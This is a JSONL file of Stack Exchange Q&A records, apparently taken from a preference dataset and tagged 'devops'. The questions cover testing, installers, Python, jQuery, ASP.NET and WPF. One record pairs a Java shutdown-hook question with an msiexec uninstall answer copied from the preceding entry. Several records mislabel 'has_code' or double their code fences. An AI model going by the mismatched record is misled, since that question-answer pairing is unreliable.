{"id": "hf_a5405b1dc005", "question": "<p>I'm sure most of you are writing lots of automated tests and that you also have run into some common pitfalls when unit testing. </p>\n\n<p>My question is do you follow any rules of conduct for writing tests in order to avoid problems in the future? To be more specific: What are the <strong>properties of good unit tests</strong> or how do you write your tests?</p>\n\n<p>Language agnostic suggestions are encouraged.</p>\n", "question_body": "", "answer": "Keep these goals in mind (adapted from the book xUnit Test Patterns by Meszaros)\nTests should reduce risk, not\nintroduce it.\nTests should be easy to run.\nTests should be easy to maintain as\nthe system evolves around them\nSome things to make this easier:\nTests should only fail because of\none reason.\nTests should only test one thing\nMinimize test dependencies (no\ndependencies on databases, files, ui\netc.)\nDon't forget that you can do intergration testing with your xUnit framework too\nbut keep intergration tests and unit tests separate", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:13.942169"}
{"id": "hf_151afb91798a", "question": "<p>In evaluating different systems integration strategies, I've come across some words of encouragement, but also some words of frustration over BizTalk Server. </p>\n\n<p>What are some pros and cons to using BizTalk Server (both from a developer standpoint and a business user), and should companies also consider open source alternatives? What viable alternatives are out there?</p>\n\n<p>EDIT: <a href=\"http://www.jitterbit.com/\" rel=\"noreferrer\">Jitterbit</a> seems like an interesting choice. Open Source and seems to be nicely engineered. Anyone on here have any experience working with it?</p>\n", "question_body": "", "answer": "My experience with BizTalk was basically a frustrating waste of time.\nThere are so many edge cases and weird little business logic tweaks you have to make when you are doing B2B data integration (which is probably the hardest part of any enterprise application) that you just need to roll your own solution.\nHow hard is it to parse data files and convert them to a different format?  Not that hard.  Unless you're trying to inject a bloated middleware system like Biztalk into the middle of it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.019478"}
{"id": "hf_654d310bdc8a", "question": "<p>I've just created a new Windows XP VM on my Mac using VMware Fusion. The VM is using NAT to share the host's internet connection.</p>\n\n<p>How do I access a Rails application, which is accessible on the Mac itself using <code>http://localhost:3000</code>?</p>\n", "question_body": "", "answer": "On the XP machine, find your IP address by going to the command prompt and typing\n```\nipconfig\n```\n. Try replacing the last number with 1 or 2. For example, if your IP address is 192.168.78.128, use\nhttp://192.168.78.1:3000\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.062830"}
{"id": "hf_ef112403ae24", "question": "<p>I need to figure out what div is visible out of four possible divs using jQuery.  Only one of those div's will be visible at any given time.</p>\n\n<p>This is what I have that works so far:</p>\n\n<pre><code>$(\"#FeatureImage1:visible, #FeatureImage2:visible, #FeatureImage3:visible, #FeatureImage4:visible\").attr(\"id\");\n</code></pre>\n\n<p>Is there a way to refactor this?  Is there an easier way to figure this out?</p>\n", "question_body": "", "answer": "Assign the same class to each div then:\n```\n```\n$(\"div.myClass:visible\").attr(\"id\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.125049"}
{"id": "hf_2915a92fb09f", "question": "<p>With all the fuss about opensource projects, how come there is still not a strong standard that enables you to make portable code (I mean in <code>C/C++</code> not <code>Java</code> or <code>C#</code>)\nEveryone is kind of making it's own soup.<br><br>\nThere are even some third party libs like <code>Apache Portable Runtime</code>.</p>\n", "question_body": "", "answer": "I think the main reason there isn't any single library anyone agrees on is that everyone's requirements are different. When you want to wrap system libraries you'll often need to make some assumptions about what the use cases will be, unless you want to make the wrapper huge and impossible to work with. I think that might be the main reason there's no single, common cross platform runtime.\nFor GUI, the reason would be that each platform has its own UI conventions, you can't code one GUI that fits all, you'll simply get one that fits just one or even none at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.149517"}
{"id": "hf_bf9e9ea9b07f", "question": "<p>Do you know if there is a built-in function to build a dictionary from an arbitrary object? I'd like to do something like this:</p>\n\n<pre><code>&gt;&gt;&gt; class Foo:\n...     bar = 'hello'\n...     baz = 'world'\n...\n&gt;&gt;&gt; f = Foo()\n&gt;&gt;&gt; props(f)\n{ 'bar' : 'hello', 'baz' : 'world' }\n</code></pre>\n\n<p><strong>NOTE:</strong> It should not include methods. Only fields.</p>\n", "question_body": "", "answer": "The\n```\ndir\n```\nbuiltin will give you all the object's attributes, including special methods like\n```\n__str__\n```\n,\n```\n__dict__\n```\nand a whole bunch of others which you probably don't want. But you can do something like:\n```\n```\n>>> class Foo(object):\n...     bar = 'hello'\n...     baz = 'world'\n...\n>>> f = Foo()\n>>> [name for name in dir(f) if not name.startswith('__')]\n[ 'bar', 'baz' ]\n>>> dict((name, getattr(f, name)) for name in dir(f) if not name.startswith('__')) \n{ 'bar': 'hello', 'baz': 'world' }\n```\n```\nSo can extend this to only return data attributes and not methods, by defining your\n```\nprops\n```\nfunction like this:\n```\n```\nimport inspect\n\ndef props(obj):\n    pr = {}\n    for name in dir(obj):\n        value = getattr(obj, name)\n        if not name.startswith('__') and not inspect.ismethod(value):\n            pr[name] = value\n    return pr\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.173713"}
{"id": "hf_9d0b9f9f0fb5", "question": "<p>There is a lot of information out there on object-relational mappers and how to best avoid impedance mismatch, all of which seem to be moot points if one were to use an object database.  My question is why isn't this used more frequently?  Is it because of performance reasons or because object databases cause your data to become proprietary to your application or is it due to something else?  </p>\n", "question_body": "", "answer": "Familiarity.\nThe administrators of databases know relational concepts; object ones, not so much.\nPerformance.\nRelational databases have been proven to scale far better.\nMaturity.\nSQL is a powerful, long-developed language.\nVendor support.\nYou can pick between many more first-party (SQL servers) and third-party (administrative interfaces, mappings and other kinds of integration) tools than is the case with OODBMSs.\nNaturally, the object-oriented model is more familiar to the\ndeveloper\n, and, as you point out, would spare one of ORM. But thus far, the relational model has proven to be the more workable option.\nSee also the recent question,\nObject Orientated vs Relational Databases\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.197114"}
{"id": "hf_53521e43c621", "question": "<p>I have a network C++ program in Windows that I'd like to test for network disconnects at various times.  What are my options?</p>\n\n<p>Currently I am:</p>\n\n<ol>\n<li>Actually disconnecting the network wire from the back of my computer</li>\n<li>using ipconfig /release</li>\n<li>Using the <a href=\"http://www.nirsoft.net/utils/cports.html\" rel=\"nofollow noreferrer\">cports</a> program to close out the socket completely</li>\n</ol>\n\n<p>None of these methods though are ideal for me, and I'd like to emulate network problems more easily. </p>\n\n<p>I would like for sometimes connects to fail, sometimes socket reads to fail, and sometimes socket writes to fail.  It would be great if there was some utility I could use to emulate these types of problems.</p>\n\n<p>It would also be nice to be able to build some automated unit tests while this emulated bad network is up.</p>\n", "question_body": "", "answer": "The closest I can think of is doing something similar with\nVEDekstop\nfrom Shunra..\nSimulating High Latency and Low Bandwidth in Testing of Database Applications\nShunra VE Desktop Standard is a Windows-based client software solution that simulates a wide area network link so that you can test applications under a variety of current and potential network conditions – directly from your desktop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.221085"}
{"id": "hf_925eb7a95d83", "question": "<p>I get a URL from a user. I need to know:<br/>\na) is the URL a valid RSS feed?<br/>\nb) if not is there a valid feed associated with that URL</p>\n<p>using PHP/Javascript or something similar</p>\n<p>(Ex. <a href=\"http://techcrunch.com\" rel=\"nofollow noreferrer\">http://techcrunch.com</a> fails a), but b) would return their RSS feed)</p>\n", "question_body": "", "answer": "a) Retrieve it and try to parse it. If you can parse it, it's valid.\nb) Test if it's an HTML document (server sent\n```\ntext/html\n```\n) MIME-type. If so, run it through an HTML parser and look for\n```\n<link>\n```\nelements with RSS feed relations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.245829"}
{"id": "hf_6d38295e5faf", "question": "<p><a href=\"http://www.stackoverflow.com/questions/61088/hidden-features-of-javascript#61118\">Alan Storm's comments</a> in response to my answer regarding the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with\" rel=\"noreferrer\"><code>with</code> statement</a> got me thinking. I've seldom found a reason to use this particular language feature, and had never given much thought to how it might cause trouble. Now, I'm curious as to how I might make effective use of <code>with</code>, while avoiding its pitfalls.</p>\n\n<p>Where have you found the <code>with</code> statement useful?</p>\n", "question_body": "", "answer": "Visual Basic.NET has a similar\n```\nWith\n```\nstatement. One of the more common ways I use it is to quickly set a number of properties. Instead of:\n```\n```\nsomeObject.Foo = ''\nsomeObject.Bar = ''\nsomeObject.Baz = ''\n```\n```\n, I can write:\n```\n```\nWith someObject\n    .Foo = ''\n    .Bar = ''\n    .Baz = ''\nEnd With\n```\n```\nThis isn't just a matter of laziness. It also makes for much more readable code. And unlike JavaScript, it does not suffer from ambiguity, as you have to prefix everything affected by the statement with a\n```\n.\n```\n(dot). So, the following two are clearly distinct:\n```\n```\nWith someObject\n    .Foo = ''\nEnd With\n```\n```\nvs.\n```\n```\nWith someObject\n    Foo = ''\nEnd With\n```\n```\nThe former is\n```\nsomeObject.Foo\n```\n; the latter is\n```\nFoo\n```\nin the scope\noutside\n```\nsomeObject\n```\n.\nI find that JavaScript's lack of distinction makes it far less useful than Visual Basic's variant, as the risk of ambiguity is too high. Other than that,\n```\nwith\n```\nis still a powerful idea that can make for better readability.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.269168"}
{"id": "hf_84f28fa7f9c0", "question": "<p>In python, you can have a function return multiple values.  Here's a contrived example:</p>\n\n<pre><code>def divide(x, y):\n    quotient = x/y\n    remainder = x % y\n    return quotient, remainder  \n\n(q, r) = divide(22, 7)\n</code></pre>\n\n<p>This seems very useful, but it looks like it can also be abused (\"Well..function X already computes what we need as an intermediate value.  Let's have X return that value also\").</p>\n\n<p>When should you draw the line and define a different method?  </p>\n", "question_body": "", "answer": "Firstly, note that Python allows for the following (no need for the parenthesis):\n```\n```\nq, r = divide(22, 7)\n```\n```\nRegarding your question, there's no hard and fast rule either way. For simple (and usually contrived) examples, it may seem that it's always possible for a given function to have a single purpose, resulting in a single value. However, when using Python for real-world applications, you quickly run into many cases where returning multiple values is necessary, and results in cleaner code.\nSo, I'd say do whatever makes sense, and don't try to conform to an artificial convention. Python supports multiple return values, so use it when appropriate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.319206"}
{"id": "hf_0f0b3f6039e5", "question": "<p>When I downloaded Skype, I noticed that, in place of a normal \"disk image\" icon, there was a custom icon, and when I double clicked on the icon, the window used a colorful image as the background, prompting me to drag the skype icon into the applications folder.</p>\n\n<p>How can I do that with my applications?</p>\n\n<p>Thanks,\nJason</p>\n", "question_body": "", "answer": "Let me add to the other answers\njwz's howto\non setting view options on .dmg files. This is the simplest one that I got to work with no problems.\nAlso, to change the icon from the default .dmg icon:\nIn the Finder, open an inspector window (^I) for the file whose icon you want to use, click on the icon at the top (it will get a blue border) and copy it to the clipboard (^C).\nThen open another inspector for your .dmg, click on the icon and press ^V to paste\n(you can change the icon for any file like this).\nFor this kind of thing, you can always look at open-source programs and see what they do to get a similar result. For example here are the relevant source files for building pretty dmg files in:\nAdium\nMiro", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.395824"}
{"id": "hf_3bc2c7553f32", "question": "<p>How do I use the profiler in Visual Studio 2008?</p>\n\n<p>I know theres a build option in Config Properties -> Linker -> Advanced -> Profile (/PROFILE), however I can't find anything about actauly using it, only articles I was able to find appear to only apply to older versions of Visual Studio (eg most say to goto Build->Profile to bring up the profile dialog box, yet in 2008 there is no such menu item).</p>\n\n<p>Is this because Visual Studio 2008 does not include a profiler, and if it does where is it and where is the documentation for it?</p>\n", "question_body": "", "answer": "The profiler is only available in the Team System editions of Visual Studio 2008. The last version that I used that included a profiler was Visual C++ 6.0.\nFor Visual Studio 2005, you could try\nCompuware DevPartner Performance Analysis Community Edition\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.464869"}
{"id": "hf_e821aa0d491d", "question": "<p>I'm reading lines of input on a TCP socket, similar to this:</p>\n\n<pre><code>class Bla  \n  def getcmd\n    @sock.gets unless @sock.closed?\n  end\n\n  def start     \n    srv = TCPServer.new(5000)\n    @sock = srv.accept\n    while ! @sock.closed?\n      ans = getcmd\n    end\n  end\nend\n</code></pre>\n\n<p>If the endpoint terminates the connection while getline() is running then gets() hangs. </p>\n\n<p>How can I work around this? Is it necessary to do non-blocking or timed I/O?</p>\n", "question_body": "", "answer": "If you believe the\nrdoc\nfor ruby sockets, they don't implement\n```\ngets\n```\n. This leads me to believe gets is being provided by a higher level of abstraction (maybe the IO libraries?) and probably isn't aware of socket-specific things like 'connection closed.'\nTry using\n```\nrecvfrom\n```\ninstead of\n```\ngets\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.488597"}
{"id": "hf_69b8b7c3ae5e", "question": "<p>Suppose I have a COM object which users can access via a call such as:</p>\n\n<pre><code>Set s = CreateObject(\"Server\")\n</code></pre>\n\n<p>What I'd like to be able to do is allow the user to specify an event handler for the object, like so:</p>\n\n<pre><code>Function ServerEvent\n\n   MsgBox \"Event handled\"\n\nEnd Function\n\ns.OnDoSomething = ServerEvent\n</code></pre>\n\n<p>Is this possible and, if so, how do I expose this in my type library in C++ (specifically BCB 2007)?</p>\n", "question_body": "", "answer": "I'm a little hazy on the details, but maybe the link below might help:\nhttp://msdn.microsoft.com/en-us/library/ms974564.aspx\nIt looks like your server object needs to implement\n```\nIProvideClassInfo\n```\nand then you call\n```\nConnectObject\n```\nin your VBScript code. See also:\nhttp://blogs.msdn.com/ericlippert/archive/2005/02/15/373330.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.512290"}
{"id": "hf_081200de6420", "question": "<p>I need to create a 2D int array of size 800x800.  But doing so creates a stack overflow (ha ha).</p>\n\n<p>I'm new to C++, so should I do something like a vector of vectors?  And just encapsulate the 2d array into a class?</p>\n\n<p>Specifically, this array is my zbuffer in a graphics program.  I need to store a z value for every pixel on the screen (hence the large size of 800x800).</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "You need about 2.5 megs, so just using the heap should be fine.  You don't need a vector unless you need to resize it.  See\nC++ FAQ Lite\nfor an example of using a \"2D\" heap array.\n```\n```\nint *array = new int[800*800];\n```\n```\n(Don't forget to\n```\ndelete[]\n```\nit when you're done.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.536212"}
{"id": "hf_9eb133224e53", "question": "<p>The .NET Setup project seems to have a lot of options, but I don't see an \"Uninstall\" option.  </p>\n\n<p>I'd prefer if people could \"uninstall\" from the standard \"start menu\" folder rather than send them to the control panel to uninstall my app, so can someone please tell me how to do this?</p>\n\n<p>Also, I am aware of non Microsoft installers that have this feature, but if possible I'd like to stay with the Microsoft toolkit.</p>\n", "question_body": "", "answer": "You can make shortcut to:\n```\n```\nmsiexec /uninstall [path to msi or product code]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.569248"}
{"id": "hf_ed2697594f22", "question": "<p>I have a Java application which I want to shutdown 'nicely' when the user selects Start->Shutdown. I've tried using JVM shutdown listeners via Runtime.addShutdownHook(...) but this doesn't work as I can't use any UI elements from it.</p>\n\n<p>I've also tried using the exit handler on my main application UI window but it has no way to pause or halt shutdown as far as I can tell. How can I handle shutdown nicely?</p>\n", "question_body": "", "answer": "You can make shortcut to:\n```\n```\nmsiexec /uninstall [path to msi or product code]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.593724"}
{"id": "hf_b67ce2b168b3", "question": "<p>Until recently we were using Inno Setup for our installations, something I would like to continue doing, unless we can get an <a href=\"https://stackoverflow.com/questions/61691/how-to-add-uninstall-option-in-net-setup-project\">uninstall option in the start menu</a> (thanks Giovanni Galbo), however we now need to GAC some external libraries, something I suspect is only doable (or at least only supported) though the .NET Setup Project.</p>\n\n<p>Is it possible to call a GAC'ing library from another setup application?</p>\n", "question_body": "", "answer": "Not sure about library, but you can call\ngacutil.exe\nto install/uninstall assemblies.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.617674"}
{"id": "hf_7ad1bbac6805", "question": "<p>I'm drawing old school (unthemed - themed radios are a whole other problem) radio buttons myself using DrawFrameControl:</p>\n\n<pre><code>DrawFrameControl(dc, &amp;rectRadio, DFC_BUTTON, isChecked() ? DFCS_BUTTONRADIO | DFCS_CHECKED : DFCS_BUTTONRADIO);\n</code></pre>\n\n<p>I've never been able to figure out a sure fire way to figure out what to pass for the RECT. I've been using a 12x12 rectangle but I'de like Windows to tell me the size of a radio button.</p>\n\n<p>DrawFrameControl seems to scale the radio button to fit the rect I pass so I have to be close to the \"right\" size of the radio looks off from other (non-owner drawn) radios on the screen.</p>\n\n<p>Anyone know how to do this? </p>\n", "question_body": "", "answer": "It has been a while since I worked on this, so what I am describing is what I did, and not necessarily a direct answer to the question.\nI happen to use bit maps 13 x 13 rather than 12 x 12.   The bitmap part of the check box seems to be passed in the WM_DRAWITEM.  However, I had also set up WM_MEASUREITEM and fed it the same values, so my answer may well be \"Begging the question\" in the correct philosophical sense.\n```\ncase WM_MEASUREITEM:\n            lpmis = (LPMEASUREITEMSTRUCT) lParam;\n\n            lpmis->itemHeight = 13;\n            lpmis->itemWidth = 13;\n\n            break;\n\n        case WM_DRAWITEM:\n            lpdis = (LPDRAWITEMSTRUCT) lParam;\n            hdcMem = CreateCompatibleDC(lpdis->hDC);  \n\n            if (lpdis->itemState & ODS_CHECKED)  // if selected\n                {\n                SelectObject(hdcMem, hbmChecked);\n                }\n            else\n                {\n                if (lpdis->itemState & ODS_GRAYED)\n                    {\n                    SelectObject(hdcMem, hbmDefault);\n                    }\n                else\n                    {\n                    SelectObject(hdcMem, hbmUnChecked);\n                    }\n                }\n            StretchBlt(\n                lpdis->hDC,         // destination DC\n                lpdis->rcItem.left, // x upper left\n                lpdis->rcItem.top,  // y upper left\n\n                // The next two lines specify the width and\n                // height.\n                lpdis->rcItem.right - lpdis->rcItem.left,\n                lpdis->rcItem.bottom - lpdis->rcItem.top,\n                hdcMem,    // source device context\n                0, 0,      // x and y upper left\n                13,        // source bitmap width\n                13,        // source bitmap height\n                SRCCOPY);  // raster operation\n\n            DeleteDC(hdcMem);\n            return TRUE;\n```\nThis seems to work well for both Win2000 and XP, though I have nbo idea what Vista might do.\nIt might be worth an experiment to see what leaving out WM_MEASUREITEM does, though I usually discover with old code that I usually had perfectly good reason for doing something that looks redundant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.719713"}
{"id": "hf_af7260f8fe09", "question": "<p>How can I get PDO to work on my mac (os x 10.5)? I'm using the built in php and php in Zend/Eclipse. Can't seem to find useful drivers for it at all.</p>\n", "question_body": "", "answer": "I'm not sure this will help with the PDO drivers specifically, but you might look into\nBitNami's MAPPStack\n.\nI had a ton of trouble with Postgres, PHP, and Apache on my Mac, some of it having to do with 64- vs 32-bit versions of some or all of them.  So far, the BitNami MAPPStack install is working nicely in general.  Maybe it will help with your PDO issues as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.744063"}
{"id": "hf_454aad3a5f39", "question": "<p>I am using a rich text editor on a web page.  .NET has feature that prevent one from posting HTML tags, so I added a JavaScript snippet to change the angle brackets to and alias pair of characters before the post. The alias is replaced on the server with the necessary angle bracket and then stored in the database.  With XSS aside, what are common ways of fixing this problem. (i.e. Is there a better way?)</p>\n\n<p>If you have comments on XSS(cross-site scripting), I'm sure that will help someone.</p>\n", "question_body": "", "answer": "My first comment would be to avoid using JavaScript to change the angle brackets. Bypassing this is as simple as disabling JavaScript in the browser. Almost all server-side languages have some utility method that converts some HTML characters into their entity counterparts. For instance, PHP uses htmlentities(), and I am sure .NET has an equivalent utility method. In the least, you can do a regex replace for angle brackets, parenthesis and double quotes, and that will get you a long way toward a secure solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.784796"}
{"id": "hf_52d71f13f51c", "question": "<p>Navision is also known as Microsoft Dynamics NAV.</p>\n", "question_body": "", "answer": "Navision's application logic is written using a proprietary language called C/AL, which is loosely based on Pascal.  It currently offers both a native database option as well as MS SQL Server.\nThe next version (NAV 2009) will use .NET assemblies served via IIS.  C/AL logic will be translated to C# code and deployed to the server.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.825570"}
{"id": "hf_374ee2944468", "question": "<p>I'm just curious if any project exists that attempts to group all (or most) of PHP's built-in functions into a more object-oriented class hierarchy. For example, grouping all the string functions into a single String class, etc.</p>\n\n<p>I realize this won't actually solve any problems (unless the modifications took place at the PHP source code level), since all the built-in functions would still be accessible in the global namespace, but it would certainly make usability much easier.</p>\n", "question_body": "", "answer": "I think something like this is intergral for PHP to move forward.  Being mainly a .Net programmer, I find PHP painful to work in with it's 1 million and 1 global functions.  It's nice that PHP 5.3 has namespaces, but it doesn't help things much when their own libraries aren't even object oriented, let alone employ namespaces.  I don't mind PHP as a language so much, but their API is terribly disorganized, and it probably needs a complete overhaul.  Kind of like what VB went through when it became VB.Net.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.866628"}
{"id": "hf_4924cedb8f33", "question": "<p>I'm looking for a Java profiler that works well with the JVM coming with WebSphere 6.0.2 (IBM JVM 1.4.2). I use yourkit for my usual profiling needs, but it specifically refuses to work with this old jvm (I'm sure the authors had their reasons...).</p>\n\n<p>Can anybody point to a decent profiler that can do the job? Not interested in a generic list of profilers, BTW, I've seen the other stackoverflow theread, but I'd rather not try them one by one.</p>\n\n<p>I would prefer a free version, if possible, since this is a one-off need (I hope!) and I would rather not pay for another profiler just for this. </p>\n", "question_body": "", "answer": "What are you looking to profile?  Is it stuff in the JVM or the App Server? If it's the latter, there's loads of stuff in WAS 6 GUI to help with this.  Assuming you really want to see stuff like the heap etc, then the IBM\nHeapAnalyzer\nmight help.  There are other tools listed off the bottom of this page.\nSomething else I've learned, ideally, youll be able to connect your IDE's profiler to the running JVM.  Some let you do this to a remote one as well as the local one you are developing on.  Is the JVM you wish to profile in live or remote?  If so, you might have to force dumps and take them out of the live environment to look at at your leisure.  Otherwise, set up something local and get the info from it that way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.891745"}
{"id": "hf_68281ec40281", "question": "<p>I am wondering what the best way to obtain the current domain is in ASP.NET?</p>\n\n<p>For instance:</p>\n\n<p><a href=\"http://www.domainname.com/subdir/\" rel=\"noreferrer\">http://www.domainname.com/subdir/</a> should yield <a href=\"http://www.domainname.com\" rel=\"noreferrer\">http://www.domainname.com</a>\n<a href=\"http://www.sub.domainname.com/subdir/\" rel=\"noreferrer\">http://www.sub.domainname.com/subdir/</a> should yield <a href=\"http://sub.domainname.com\" rel=\"noreferrer\">http://sub.domainname.com</a></p>\n\n<p>As a guide, I should be able to add a url like \"/Folder/Content/filename.html\" (say as generated by Url.RouteUrl() in ASP.NET MVC) straight onto the URL and it should work.</p>\n", "question_body": "", "answer": "As per\nthis link\na good starting point is:\n```\n```\nRequest.Url.Scheme + System.Uri.SchemeDelimiter + Request.Url.Host\n```\n```\nHowever, if the domain is\nhttp://www.domainname.com:500\nthis will fail.\nSomething like the following is tempting to resolve this:\n```\n```\nint defaultPort = Request.IsSecureConnection ? 443 : 80;\nRequest.Url.Scheme + System.Uri.SchemeDelimiter + Request.Url.Host \n  + (Request.Url.Port != defaultPort ? \":\" + Request.Url.Port : \"\");\n```\n```\nHowever, port 80 and 443 will depend on configuration.\nAs such, you should use\n```\nIsDefaultPort\n```\nas in the\nAccepted Answer\nabove from Carlos Muñoz.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.928540"}
{"id": "hf_ab19ba83021d", "question": "<p>Anyone using WPF for real LOB applications?</p>\n\n<p>We have all seen the clever demos of WPF showing videos mapped onto 3D elements. These look great but what about the real world of line-of-business applications that make up the majority of developers efforts. Is WPF just for nice eye candy?</p>\n", "question_body": "", "answer": "I feel the eye candy demos are targeted mostly towards designers. Having said that, there is a huge potential in improving usability of LOB apps using WPF.\nCheck this article about the potential of Silverlight\n.\nLine-of-business applications have a notorious reputation for being all business and no pleasure. The fact is that \"user experience\" has never really been a top concern when developing line-of-business (LOB) applications. While many LOB-style applications are putting an increasing emphasis on usability, they often fall short on appeal. User experience is actually a combination of both usability and appeal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:14.979531"}
